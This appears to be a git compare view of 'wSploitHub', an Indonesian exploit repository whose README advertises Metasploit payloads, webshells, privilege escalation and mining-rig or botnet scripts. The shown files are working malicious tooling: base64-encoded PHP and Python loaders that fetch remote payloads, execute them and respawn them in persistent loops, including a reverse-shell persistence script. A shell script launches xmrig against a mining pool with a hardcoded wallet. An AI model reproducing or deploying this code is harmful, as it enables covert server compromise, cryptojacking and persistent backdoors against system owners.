Compare commits
No commits in common. "master" and "main" have entirely different histories.
29
README.md
Normal file
29
README.md
Normal file
@ -0,0 +1,29 @@
|
||||
# wSploitHub
|
||||
<div>
|
||||
<img align="right" width="40%" style="border-radius: 100%;" src="img/wsploit.jpeg">
|
||||
</div>
|
||||
|
||||
Exploit Source Code by wSploit
|
||||
<!--Header Name-->
|
||||
# <img src="https://emojis.slackmojis.com/emojis/images/1531849430/4246/blob-sunglasses.gif?1531849430" width="30"/> wSploitHub
|
||||
*wSploitHub – Kumpulan Source Code Eksploitasi 🔥*
|
||||
<br />
|
||||
|
||||
<!--Start Intro-->
|
||||
|
||||
wSploitHub adalah repositori yang berisi berbagai eksploitasi dan alat peretasan yang berguna bagi pentester serta komunitas keamanan siber. Proyek ini mencakup berbagai jenis exploit, termasuk:
|
||||
|
||||
🔹 Payload Metasploit – Kumpulan payload siap pakai yang sudah dikustomisasi untuk eksploitasi berbasis MSF (Metasploit Framework).
|
||||
|
||||
🔹 Farm/Rig Scripts – Sumber daya untuk membangun dan mengelola crypto mining rigs atau botnet.
|
||||
|
||||
🔹 Webshell – Berbagai backdoor & webshell untuk mendapatkan akses ke server target. (Tersedia untuk umum)
|
||||
|
||||
🔹 Privilege Escalation Exploits – Teknik dan skrip untuk meningkatkan hak akses di sistem target. (Tersedia untuk umum)
|
||||
|
||||
Repositori ini ditujukan bagi para peneliti keamanan, pentester, dan komunitas siber yang ingin mengembangkan serta menguji berbagai teknik eksploitasi.
|
||||
|
||||
⚠️ Disclaimer:
|
||||
wSploitHub tidak bertanggung jawab atas segala kewenangan dan risiko yang timbul dari penggunaan alat ini. Kami menegaskan bahwa wSploitHub bertujuan sebagai alat eksploitasi khusus untuk Komunitas wSploitHub. Penyalahgunaan terhadap sistem tanpa izin merupakan tindakan ilegal.
|
||||
|
||||
|
1
api/v1/kirakey
Normal file
1
api/v1/kirakey
Normal file
@ -0,0 +1 @@
|
||||
cHZoYVNwY3JBT1c4cm5uWGdNNzBBdz09Ojrl45o0CN8FJbNy9kRnj29L
|
1
api/v1/wshell-key
Normal file
1
api/v1/wshell-key
Normal file
@ -0,0 +1 @@
|
||||
1e334fd196b275c6d968db0ce9252e0c
|
1
api/v2/payloadkey
Normal file
1
api/v2/payloadkey
Normal file
@ -0,0 +1 @@
|
||||
686970ac056ad03ad52762cae2e76ecc
|
1
api/v2/presisten_v2
Normal file
1
api/v2/presisten_v2
Normal file
@ -0,0 +1 @@
|
||||
a2lyYTE0MDY8P3BocAoKLy8gVVJMIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkIHNlc3VhaSBkZW5nYW4gYXJzaXRla3R1ciBzaXN0ZW0KZnVuY3Rpb24gZ2V0UGF5bG9hZFVybCgpIHsKICAgICRhcmNoID0gcGhwX3VuYW1lKCdtJyk7IC8vIERhcGF0a2FuIGFyc2l0ZWt0dXIgc2lzdGVtICh4ODZfNjQgdW50dWsgNjQtYml0LCBpMzg2IHVudHVrIDMyLWJpdCkKCiAgICBpZiAoc3RycG9zKCRhcmNoLCAnNjQnKSAhPT0gZmFsc2UpIHsKICAgICAgICByZXR1cm4gJ2h0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gvbWFpbi9wYXlsb2FkL21zZi9lbGYvdmVub202NC5lbGYnOyAvLyA2NC1iaXQgcGF5bG9hZAogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gJ2h0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gvbWFpbi9wYXlsb2FkL21zZi9lbGYvdmVub20zMi5lbGYnOyAvLyAzMi1iaXQgcGF5bG9hZAogICAgfQp9CgovLyBVUkwgZmFsbGJhY2sgamlrYSBFTEYgdGlkYWsgYmlzYSBkaWphbGFua2FuCiRwaHBQYXlsb2FkVXJsID0gJ2h0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gvbWFpbi9wYXlsb2FkL21zZi9waHAvdmVub20ucGhwJzsKCi8vIEZ1bmdzaSB1bnR1ayBtZW5qYWxhbmthbiBwZXJpbnRhaCBkYW4gbWVtZXJpa3NhIGV4aXQgY29kZQpmdW5jdGlvbiBydW5Db21tYW5kKCkgewogICAgLy8gUGVyaWtzYSBhcGFrYWggZmlsZSBzeXN0ZW1kIGFkYSBkaSAvdG1wCiAgICBpZiAoIWZpbGVfZXhpc3RzKCcvdG1wL3N5c3RlbWQnKSkgewogICAgICAgIGVjaG8gIlsqXSBQYXlsb2FkIHRpZGFrIGRpdGVtdWthbi4gTWVuZ3VuZHVoLi4uXG4iOwogICAgICAgIGRvd25sb2FkUGF5bG9hZCgpOwogICAgfQoKICAgIC8vIFBlcmludGFoIHVudHVrIGRpamFsYW5rYW4KICAgICRjb21tYW5kID0gJ3BocCAvdG1wL3N5c3RlbWQnOyAvLyBNZW5qYWxhbmthbiBmaWxlIHlhbmcgZGl1bmR1aCBzZWJhZ2FpIHN5c3RlbWQKICAgIGV4ZWMoJGNvbW1hbmQsICRvdXRwdXQsICRleGl0Q29kZSk7CgogICAgZWNobyAiQ29tbWFuZCBleGVjdXRlZDogJGNvbW1hbmRcbiI7CiAgICBlY2hvICJFeGl0IGNvZGU6ICRleGl0Q29kZVxuIjsKCiAgICAvLyBIYW55YSBqYWxhbiBqaWthIGV4aXQgY29kZSBub24temVybwogICAgaWYgKCRleGl0Q29kZSAhPT0gMCkgewogICAgICAgIGVjaG8gIlsqXSBFeGl0IGNvZGUgbm9uLXplcm8gZGV0ZWN0ZWQgKCRleGl0Q29kZSkuIENoZWNraW5nIGFjdGl2ZSBzZXNzaW9uLi4uXG4iOwoKICAgICAgICAvLyBDZWsgYXBha2FoIHJldmVyc2Ugc2hlbGwgc3VkYWggYmVyamFsYW4KICAgICAgICAkaXNTaGVsbEFjdGl2ZSA9IGZhbHNlOwogICAgICAgIGV4ZWMoInBzIGF1eCB8IGdyZXAgJ3BocCAvdG1wL3N5c3RlbWQnIHwgZ3JlcCAtdiBncmVwIiwgJHNoZWxsT3V0cHV0KTsKICAgICAgICBpZiAoIWVtcHR5KCRzaGVsbE91dHB1dCkpIHsKICAgICAgICAgICAgZWNobyAiWypdIEFjdGl2ZSBzZXNzaW9uIGRldGVjdGVkLiBTa2lwcGluZyBwYXlsb2FkIGV4ZWN1dGlvbi5cbiI7CiAgICAgICAgICAgICRpc1NoZWxsQWN0aXZlID0gdHJ1ZTsKICAgICAgICB9CgogICAgICAgIC8vIEppa2EgdGlkYWsgYWRhIHNlc3Npb24gYWt0aWYsIGphbGFua2FuIHBheWxvYWQKICAgICAgICBpZiAoISRpc1NoZWxsQWN0aXZlKSB7CiAgICAgICAgICAgIGVjaG8gIlsqXSBObyBhY3RpdmUgc2Vzc2lvbiBkZXRlY3RlZC4gU3Bhd25pbmcgcGF5bG9hZC4uLlxuIjsKICAgICAgICAgICAgZXhlYygibm9odXAgcGhwIC90bXAvc3lzdGVtZCA+IC9kZXYvbnVsbCAyPiYxICYiKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlsqXSBFeGl0IGNvZGUgemVyby4gTm8gcGF5bG9hZCBleGVjdXRlZC5cbiI7CiAgICB9Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW5ndW5kdWggcGF5bG9hZC5waHAgamlrYSB0aWRhayBhZGEKZnVuY3Rpb24gZG93bmxvYWRQYXlsb2FkKCkgewogICAgLy8gRGFwYXRrYW4gVVJMIHBheWxvYWQgeWFuZyBzZXN1YWkKICAgICRwYXlsb2FkVXJsID0gZ2V0UGF5bG9hZFVybCgpOwoKICAgIC8vIENlayBrZXRlcnNlZGlhYW4gd2dldAogICAgJHdnZXRBdmFpbGFibGUgPSBzaGVsbF9leGVjKCd3aGljaCB3Z2V0Jyk7CiAgICAvLyBDZWsga2V0ZXJzZWRpYWFuIGN1cmwKICAgICRjdXJsQXZhaWxhYmxlID0gc2hlbGxfZXhlYygnd2hpY2ggY3VybCcpOwoKICAgIGlmICghZW1wdHkoJHdnZXRBdmFpbGFibGUpKSB7CiAgICAgICAgZWNobyAiWypdIHdnZXQgdGVyc2VkaWEuIE1lbmd1bmR1aCBwYXlsb2FkLi4uXG4iOwogICAgICAgIGV4ZWMoIndnZXQgJHBheWxvYWRVcmwgLU8gL3RtcC9zeXN0ZW1kIik7CiAgICB9IGVsc2VpZiAoIWVtcHR5KCRjdXJsQXZhaWxhYmxlKSkgewogICAgICAgIGVjaG8gIlsqXSBjdXJsIHRlcnNlZGlhLiBNZW5ndW5kdWggcGF5bG9hZC4uLlxuIjsKICAgICAgICBleGVjKCJjdXJsIC1vIC90bXAvc3lzdGVtZCAkcGF5bG9hZFVybCIpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJbIV0gVGlkYWsgYWRhIHdnZXQgYXRhdSBjdXJsIHRlcnNlZGlhIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkLlxuIjsKICAgIH0KCiAgICAvLyBKaWthIEVMRiB0aWRhayBkYXBhdCBkaWphbGFua2FuLCBndW5ha2FuIGZhbGxiYWNrIHBheWxvYWQgUEhQCiAgICBpZiAoIWlzRXhlY3V0YWJsZSgnL3RtcC9zeXN0ZW1kJykpIHsKICAgICAgICBlY2hvICJbKl0gUGF5bG9hZCBFTEYgdGlkYWsgZGFwYXQgZGlqYWxhbmthbi4gTWVuZ3VuZHVoIGZhbGxiYWNrIFBIUCBwYXlsb2FkLi4uXG4iOwogICAgICAgIGV4ZWMoImN1cmwgLW8gL3RtcC9zeXN0ZW1kICRHTE9CQUxTW3BocFBheWxvYWRVcmxdIik7CiAgICB9Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW1lcmlrc2EgYXBha2FoIGZpbGUgZGFwYXQgZGlla3Nla3VzaQpmdW5jdGlvbiBpc0V4ZWN1dGFibGUoJGZpbGUpIHsKICAgIHJldHVybiBpc19leGVjdXRhYmxlKCRmaWxlKSAmJiBmaWxlX2V4aXN0cygkZmlsZSk7Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW1hc3Rpa2FuIHNrcmlwIGJlcmphbGFuIHRlcnVzIG1lbmVydXMKZnVuY3Rpb24gcnVuUGVyc2lzdGVudGx5KCkgewogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBydW5Db21tYW5kKCk7IC8vIEphbGFua2FuIHBlcmludGFoCiAgICAgICAgc2xlZXAoMyk7IC8vIFR1bmdndSBzZWxhbWEgMyBkZXRpayBzZWJlbHVtIG1lbmNvYmEgbGFnaQogICAgfQp9CgovLyBNdWxhaSBtZW5qYWxhbmthbiBwZXJpbnRhaCBzZWNhcmEgdGVydXMgbWVuZXJ1cwpydW5QZXJzaXN0ZW50bHkoKTsKCj8+CmtpcmExNDA2
|
1
api/v2/wshell
Normal file
1
api/v2/wshell
Normal file
File diff suppressed because one or more lines are too long
BIN
farm/honeyg-min.cz
Normal file
BIN
farm/honeyg-min.cz
Normal file
Binary file not shown.
BIN
farm/honeygain
Executable file
BIN
farm/honeygain
Executable file
Binary file not shown.
30
farm/presrig.php
Normal file
30
farm/presrig.php
Normal file
@ -0,0 +1,30 @@
|
||||
<?php
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
|
||||
$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rig';
|
||||
$keyHash = trim(get_contents($hashUrl));
|
||||
if (empty($keyHash)) {
|
||||
die("Die! Hash URL.\n");
|
||||
}
|
||||
$encoded_code = get_contents($codeUrl);
|
||||
if (empty($encoded_code)) {
|
||||
die("Die! Code URL.\n");
|
||||
}
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
$clean_code = str_replace($keyHash, '', $decoded_code);
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $clean_code);
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
|
||||
?>
|
28
farm/presrig.py
Normal file
28
farm/presrig.py
Normal file
@ -0,0 +1,28 @@
|
||||
import requests
|
||||
import base64
|
||||
import tempfile
|
||||
import os
|
||||
|
||||
|
||||
def get_contents(url):
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
|
||||
}
|
||||
response = requests.get(url, headers=headers, verify=False)
|
||||
return response.text if response.status_code == 200 else None
|
||||
|
||||
|
||||
url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigpy"
|
||||
encoded_code = get_contents(url)
|
||||
if encoded_code:
|
||||
decoded_code = base64.b64decode(encoded_code).decode("utf-8")
|
||||
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file:
|
||||
temp_file.write(decoded_code.encode("utf-8"))
|
||||
temp_file_path = temp_file.name
|
||||
|
||||
try:
|
||||
exec(open(temp_file_path).read())
|
||||
finally:
|
||||
os.remove(temp_file_path)
|
||||
|
29
farm/presrig.sh
Normal file
29
farm/presrig.sh
Normal file
@ -0,0 +1,29 @@
|
||||
#!/bin/bash
|
||||
|
||||
URL="https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigsh"
|
||||
USER_AGENT="Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
|
||||
TEMP_FILE="$(mktemp --suffix=.sh)"
|
||||
|
||||
# Fungsi untuk mendapatkan konten dari URL
|
||||
get_contents() {
|
||||
if command -v curl &> /dev/null; then
|
||||
curl -s -A "$USER_AGENT" --insecure "$URL"
|
||||
elif command -v wget &> /dev/null; then
|
||||
wget -q --no-check-certificate --user-agent="$USER_AGENT" -O - "$URL"
|
||||
else
|
||||
echo "[!] curl atau wget tidak tersedia."
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Mengunduh dan mendekode Base64
|
||||
ENCODED_CODE=$(get_contents)
|
||||
if [ -n "$ENCODED_CODE" ]; then
|
||||
echo "$ENCODED_CODE" | base64 -d > "$TEMP_FILE"
|
||||
chmod +x "$TEMP_FILE"
|
||||
bash "$TEMP_FILE"
|
||||
rm -f "$TEMP_FILE"
|
||||
else
|
||||
echo "[!] Gagal mendapatkan konten dari URL."
|
||||
exit 1
|
||||
fi
|
11
farm/rig.sh
Normal file
11
farm/rig.sh
Normal file
@ -0,0 +1,11 @@
|
||||
# Nama file: run_xmrig.sh
|
||||
|
||||
# Mendapatkan hostname server
|
||||
HOSTNAME=$(hostname)
|
||||
|
||||
# Menjalankan xmrig dengan parameter yang diberikan
|
||||
nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \
|
||||
-u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."${HOSTNAME}" -p x > xmrig.log 2>&1 &
|
||||
|
||||
# Menampilkan pesan sukses
|
||||
echo "xmrig berjalan di latar belakang dengan nama worker: ${HOSTNAME}. Log output disimpan di xmrig.log"
|
1
farm/rig/rig
Normal file
1
farm/rig/rig
Normal file
@ -0,0 +1 @@
|
||||
a2lyYTE0MDY8P3BocAoKLy8gVVJMIHVudHVrIG1lbmd1bmR1aCB4bXJpZy50YXIuZ3oKJHBheWxvYWRVcmwgPSAnaHR0cHM6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIveG1yaWcudGFyLmd6JzsgLy8gVVJMIHVudHVrIGZpbGUgeG1yaWcKCi8vIERpcmVrdG9yaSBrZXJqYSBkaSAvdG1wCiR0bXBEaXIgPSAnL3RtcC94bXJpZyc7CgovLyBGdW5nc2kgdW50dWsgbWVuamFsYW5rYW4gcGVyaW50YWggZGFuIG1lbWVyaWtzYSBleGl0IGNvZGUKZnVuY3Rpb24gcnVuQ29tbWFuZCgkZGlyKSB7CiAgICAkeG1yaWdQYXRoID0gIiRkaXIveG1yaWciOwogICAgJHNjcmlwdFBhdGggPSAiJGRpci9ydW5feG1yaWcuc2giOwoKICAgIC8vIFBlcmlrc2EgYXBha2FoIGZpbGUgeG1yaWcgc3VkYWggYWRhIGRpIGRpcmVrdG9yaSBrZXJqYQogICAgaWYgKCFmaWxlX2V4aXN0cygkeG1yaWdQYXRoKSB8fCAhZmlsZV9leGlzdHMoJHNjcmlwdFBhdGgpKSB7CiAgICAgICAgZWNobyAiWypdIFBheWxvYWQgYXRhdSBza3JpcCB0aWRhayBkaXRlbXVrYW4uIE1lbmd1bmR1aCBkYW4gbWVueWlhcGthbiB4bXJpZy4uLlxuIjsKICAgICAgICBkb3dubG9hZEFuZEV4dHJhY3RQYXlsb2FkKCRkaXIpOyAvLyBNZW5ndW5kdWggZGFuIG1lbmdla3N0cmFrIHhtcmlnCiAgICAgICAgY3JlYXRlUnVuU2NyaXB0KCRkaXIpOyAvLyBCdWF0IGZpbGUgcnVuX3htcmlnLnNoCiAgICB9CgogICAgLy8gUGVyaWtzYSBhcGFrYWggcnVuX3htcmlnLnNoIGFkYQogICAgaWYgKCFmaWxlX2V4aXN0cygkc2NyaXB0UGF0aCkpIHsKICAgICAgICBlY2hvICJbKl0gRmlsZSBydW5feG1yaWcuc2ggdGlkYWsgZGl0ZW11a2FuLiBNZW1idWF0IHVsYW5nLi4uXG4iOwogICAgICAgIGNyZWF0ZVJ1blNjcmlwdCgkZGlyKTsgLy8gQnVhdCBmaWxlIHJ1bl94bXJpZy5zaAogICAgfQoKICAgIC8vIFBlcmludGFoIHVudHVrIG1lbmphbGFua2FuIHNrcmlwCiAgICAkY29tbWFuZCA9ICJiYXNoICRzY3JpcHRQYXRoIjsKICAgIGV4ZWMoJGNvbW1hbmQsICRvdXRwdXQsICRleGl0Q29kZSk7CgogICAgZWNobyAiQ29tbWFuZCBleGVjdXRlZDogJGNvbW1hbmRcbiI7CiAgICBlY2hvICJFeGl0IGNvZGU6ICRleGl0Q29kZVxuIjsKCiAgICBpZiAoJGV4aXRDb2RlICE9PSAwKSB7CiAgICAgICAgZWNobyAiWypdIEV4aXQgY29kZSBub24temVybyBkZXRlY3RlZCAoJGV4aXRDb2RlKS4gQ2hlY2tpbmcgYWN0aXZlIHNlc3Npb24uLi5cbiI7CgogICAgICAgIC8vIENlayBhcGFrYWggeG1yaWcgc3VkYWggYmVyamFsYW4KICAgICAgICAkaXNYTVJpZ0FjdGl2ZSA9IGZhbHNlOwogICAgICAgIGV4ZWMoInBzIGF1eCB8IGdyZXAgJyRkaXIveG1yaWcnIHwgZ3JlcCAtdiBncmVwIiwgJHhtcmlnT3V0cHV0KTsKICAgICAgICBpZiAoIWVtcHR5KCR4bXJpZ091dHB1dCkpIHsKICAgICAgICAgICAgZWNobyAiWypdIEFjdGl2ZSBzZXNzaW9uIGRldGVjdGVkLiBTa2lwcGluZyBwYXlsb2FkIGV4ZWN1dGlvbi5cbiI7CiAgICAgICAgICAgICRpc1hNUmlnQWN0aXZlID0gdHJ1ZTsKICAgICAgICB9CgogICAgICAgIC8vIEppa2EgdGlkYWsgYWRhIHNlc3Npb24gYWt0aWYsIGphbGFua2FuIHhtcmlnCiAgICAgICAgaWYgKCEkaXNYTVJpZ0FjdGl2ZSkgewogICAgICAgICAgICBlY2hvICJbKl0gTm8gYWN0aXZlIHNlc3Npb24gZGV0ZWN0ZWQuIFNwYXduaW5nIHBheWxvYWQuLi5cbiI7CiAgICAgICAgICAgIGV4ZWMoIm5vaHVwICRjb21tYW5kID4gL2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiWypdIEV4aXQgY29kZSB6ZXJvLiBYTVJpZyBpcyBydW5uaW5nIHN1Y2Nlc3NmdWxseS5cbiI7CiAgICB9Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW5ndW5kdWggZGFuIG1lbmdla3N0cmFrIHBheWxvYWQKZnVuY3Rpb24gZG93bmxvYWRBbmRFeHRyYWN0UGF5bG9hZCgkZGlyKSB7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRkaXIpKSB7CiAgICAgICAgbWtkaXIoJGRpciwgMDc3NywgdHJ1ZSk7CiAgICB9CgogICAgJHdnZXRBdmFpbGFibGUgPSBzaGVsbF9leGVjKCd3aGljaCB3Z2V0Jyk7CiAgICAkY3VybEF2YWlsYWJsZSA9IHNoZWxsX2V4ZWMoJ3doaWNoIGN1cmwnKTsKICAgICR0YXJGaWxlID0gIiRkaXIveG1yaWcudGFyLmd6IjsKCiAgICBpZiAoIWVtcHR5KCR3Z2V0QXZhaWxhYmxlKSkgewogICAgICAgIGVjaG8gIlsqXSB3Z2V0IHRlcnNlZGlhLiBNZW5ndW5kdWggeG1yaWcudGFyLmd6Li4uXG4iOwogICAgICAgIGV4ZWMoIndnZXQgJEdMT0JBTFNbcGF5bG9hZFVybF0gLU8gJHRhckZpbGUiKTsKICAgIH0gZWxzZWlmICghZW1wdHkoJGN1cmxBdmFpbGFibGUpKSB7CiAgICAgICAgZWNobyAiWypdIGN1cmwgdGVyc2VkaWEuIE1lbmd1bmR1aCB4bXJpZy50YXIuZ3ouLi5cbiI7CiAgICAgICAgZXhlYygiY3VybCAtbyAkdGFyRmlsZSAkR0xPQkFMU1twYXlsb2FkVXJsXSIpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJbIV0gVGlkYWsgYWRhIHdnZXQgYXRhdSBjdXJsIHRlcnNlZGlhIHVudHVrIG1lbmd1bmR1aCB4bXJpZy50YXIuZ3ouXG4iOwogICAgICAgIHJldHVybjsKICAgIH0KCiAgICBlY2hvICJbKl0gTWVuZ2Vrc3RyYWsgeG1yaWcudGFyLmd6Li4uXG4iOwogICAgZXhlYygidGFyIC14emYgJHRhckZpbGUgLUMgJGRpciIpOwp9CgovLyBGdW5nc2kgdW50dWsgbWVtYnVhdCBmaWxlIHJ1bl94bXJpZy5zaApmdW5jdGlvbiBjcmVhdGVSdW5TY3JpcHQoJGRpcikgewogICAgJHNjcmlwdENvbnRlbnQgPSA8PDxFT0wKIyEvYmluL2Jhc2gKCiMgTWVuZGFwYXRrYW4gaG9zdG5hbWUgc2VydmVyCkhPU1ROQU1FPSQoaG9zdG5hbWUpCgojIE1lbmphbGFua2FuIHhtcmlnIGRlbmdhbiBwYXJhbWV0ZXIgeWFuZyBkaWJlcmlrYW4Kbm9odXAgJGRpci94bXJpZyAtYSByeCAtbyBzdHJhdHVtK3NzbDovL3J4LnVubWluZWFibGUuY29tOjQ0MyBcCiAgICAtdSBVU0RUOlRUclZzUm5CempCNXhFUTU3TlRWWUppbmpwbm5lOG9HWE4uIiR7SE9TVE5BTUV9IiAtcCB4ID4gJGRpci94bXJpZy5sb2cgMj4mMSAmCgojIE1lbmFtcGlsa2FuIHBlc2FuIHN1a3NlcwplY2hvICJ4bXJpZyBiZXJqYWxhbiBkaSBsYXRhciBiZWxha2FuZyBkZW5nYW4gbmFtYSB3b3JrZXI6ICR7SE9TVE5BTUV9LiBMb2cgb3V0cHV0IGRpc2ltcGFuIGRpICRkaXIveG1yaWcubG9nIgpFT0w7CgogICAgJHNjcmlwdFBhdGggPSAiJGRpci9ydW5feG1yaWcuc2giOwogICAgZmlsZV9wdXRfY29udGVudHMoJHNjcmlwdFBhdGgsICRzY3JpcHRDb250ZW50KTsKICAgIGV4ZWMoImNobW9kICt4ICRzY3JpcHRQYXRoIik7IC8vIE1lbWJlcmlrYW4gaXppbiBla3Nla3VzaQogICAgZWNobyAiWypdIEZpbGUgcnVuX3htcmlnLnNoIGJlcmhhc2lsIGRpYnVhdCBkaSAkZGlyLlxuIjsKfQoKLy8gRnVuZ3NpIHVudHVrIG1lbWFzdGlrYW4gc2tyaXAgYmVyamFsYW4gdGVydXMgbWVuZXJ1cwpmdW5jdGlvbiBydW5QZXJzaXN0ZW50bHkoJGRpcikgewogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBydW5Db21tYW5kKCRkaXIpOyAvLyBKYWxhbmthbiBwZXJpbnRhaAogICAgICAgIHNsZWVwKDMpOyAvLyBUdW5nZ3Ugc2VsYW1hIDMgZGV0aWsgc2ViZWx1bSBtZW5jb2JhIGxhZ2kKICAgIH0KfQoKLy8gTXVsYWkgbWVuamFsYW5rYW4gcGVyaW50YWggc2VjYXJhIHRlcnVzIG1lbmVydXMKcnVuUGVyc2lzdGVudGx5KCR0bXBEaXIpOwoKPz4Ka2lyYTE0MDY=
|
48
farm/rig/rigpy
Normal file
48
farm/rig/rigpy
Normal file
@ -0,0 +1,48 @@
|
||||
aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgdGFyZmls
|
||||
ZQppbXBvcnQgdGltZQoKUEFZTE9BRF9VUkwgPSAnaHR0cHM6Ly9kb3dubG9hZC5jM3Bvb2wub3Jn
|
||||
L3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIveG1yaWcudGFyLmd6JwoKZGVmIHJ1bl9jb21tYW5kKCk6
|
||||
CiAgICBjdXJyZW50X2RpciA9IG9zLmdldGN3ZCgpCiAgICB4bXJpZ19wYXRoID0gb3MucGF0aC5q
|
||||
b2luKGN1cnJlbnRfZGlyLCAneG1yaWcnKQogICAgc2NyaXB0X3BhdGggPSBvcy5wYXRoLmpvaW4o
|
||||
Y3VycmVudF9kaXIsICdydW5feG1yaWcuc2gnKQoKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyh4
|
||||
bXJpZ19wYXRoKSBvciBub3Qgb3MucGF0aC5leGlzdHMoc2NyaXB0X3BhdGgpOgogICAgICAgIHBy
|
||||
aW50KCJbKl0gUGF5bG9hZCBhdGF1IHNrcmlwIHRpZGFrIGRpdGVtdWthbi4gTWVuZ3VuZHVoIGRh
|
||||
biBtZW55aWFwa2FuIHhtcmlnLi4uIikKICAgICAgICBkb3dubG9hZF9hbmRfZXh0cmFjdF9wYXls
|
||||
b2FkKGN1cnJlbnRfZGlyKQogICAgICAgIGNyZWF0ZV9ydW5fc2NyaXB0KGN1cnJlbnRfZGlyKQoK
|
||||
ICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhzY3JpcHRfcGF0aCk6CiAgICAgICAgcHJpbnQoIlsq
|
||||
XSBGaWxlIHJ1bl94bXJpZy5zaCB0aWRhayBkaXRlbXVrYW4uIE1lbWJ1YXQgdWxhbmcuLi4iKQog
|
||||
ICAgICAgIGNyZWF0ZV9ydW5fc2NyaXB0KGN1cnJlbnRfZGlyKQoKICAgIGNvbW1hbmQgPSBmImJh
|
||||
c2gge3NjcmlwdF9wYXRofSIKICAgIGV4aXRfY29kZSA9IHN1YnByb2Nlc3MuY2FsbChjb21tYW5k
|
||||
LCBzaGVsbD1UcnVlKQoKICAgIHByaW50KGYiQ29tbWFuZCBleGVjdXRlZDoge2NvbW1hbmR9IikK
|
||||
ICAgIHByaW50KGYiRXhpdCBjb2RlOiB7ZXhpdF9jb2RlfSIpCgogICAgaWYgZXhpdF9jb2RlICE9
|
||||
IDA6CiAgICAgICAgcHJpbnQoZiJbKl0gRXhpdCBjb2RlIG5vbi16ZXJvIGRldGVjdGVkICh7ZXhp
|
||||
dF9jb2RlfSkuIENoZWNraW5nIGFjdGl2ZSBzZXNzaW9uLi4uIikKICAgICAgICByZXN1bHQgPSBz
|
||||
dWJwcm9jZXNzLnJ1bigicGdyZXAgLWYgLi94bXJpZyIsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0
|
||||
cHV0PVRydWUsIHRleHQ9VHJ1ZSkKICAgICAgICBpZiByZXN1bHQuc3Rkb3V0LnN0cmlwKCk6CiAg
|
||||
ICAgICAgICAgIHByaW50KCJbKl0gQWN0aXZlIHNlc3Npb24gZGV0ZWN0ZWQuIFNraXBwaW5nIHBh
|
||||
eWxvYWQgZXhlY3V0aW9uLiIpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQoIlsqXSBO
|
||||
byBhY3RpdmUgc2Vzc2lvbiBkZXRlY3RlZC4gU3Bhd25pbmcgcGF5bG9hZC4uLiIpCiAgICAgICAg
|
||||
ICAgIHN1YnByb2Nlc3MuUG9wZW4oZiJub2h1cCB7Y29tbWFuZH0gPiAvZGV2L251bGwgMj4mMSAm
|
||||
Iiwgc2hlbGw9VHJ1ZSkKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIlsqXSBFeGl0IGNvZGUgemVy
|
||||
by4gWE1SaWcgaXMgcnVubmluZyBzdWNjZXNzZnVsbHkuIikKCmRlZiBkb3dubG9hZF9hbmRfZXh0
|
||||
cmFjdF9wYXlsb2FkKGRpcmVjdG9yeSk6CiAgICB0YXJfZmlsZSA9IG9zLnBhdGguam9pbihkaXJl
|
||||
Y3RvcnksICd4bXJpZy50YXIuZ3onKQogICAgcmVzcG9uc2UgPSByZXF1ZXN0cy5nZXQoUEFZTE9B
|
||||
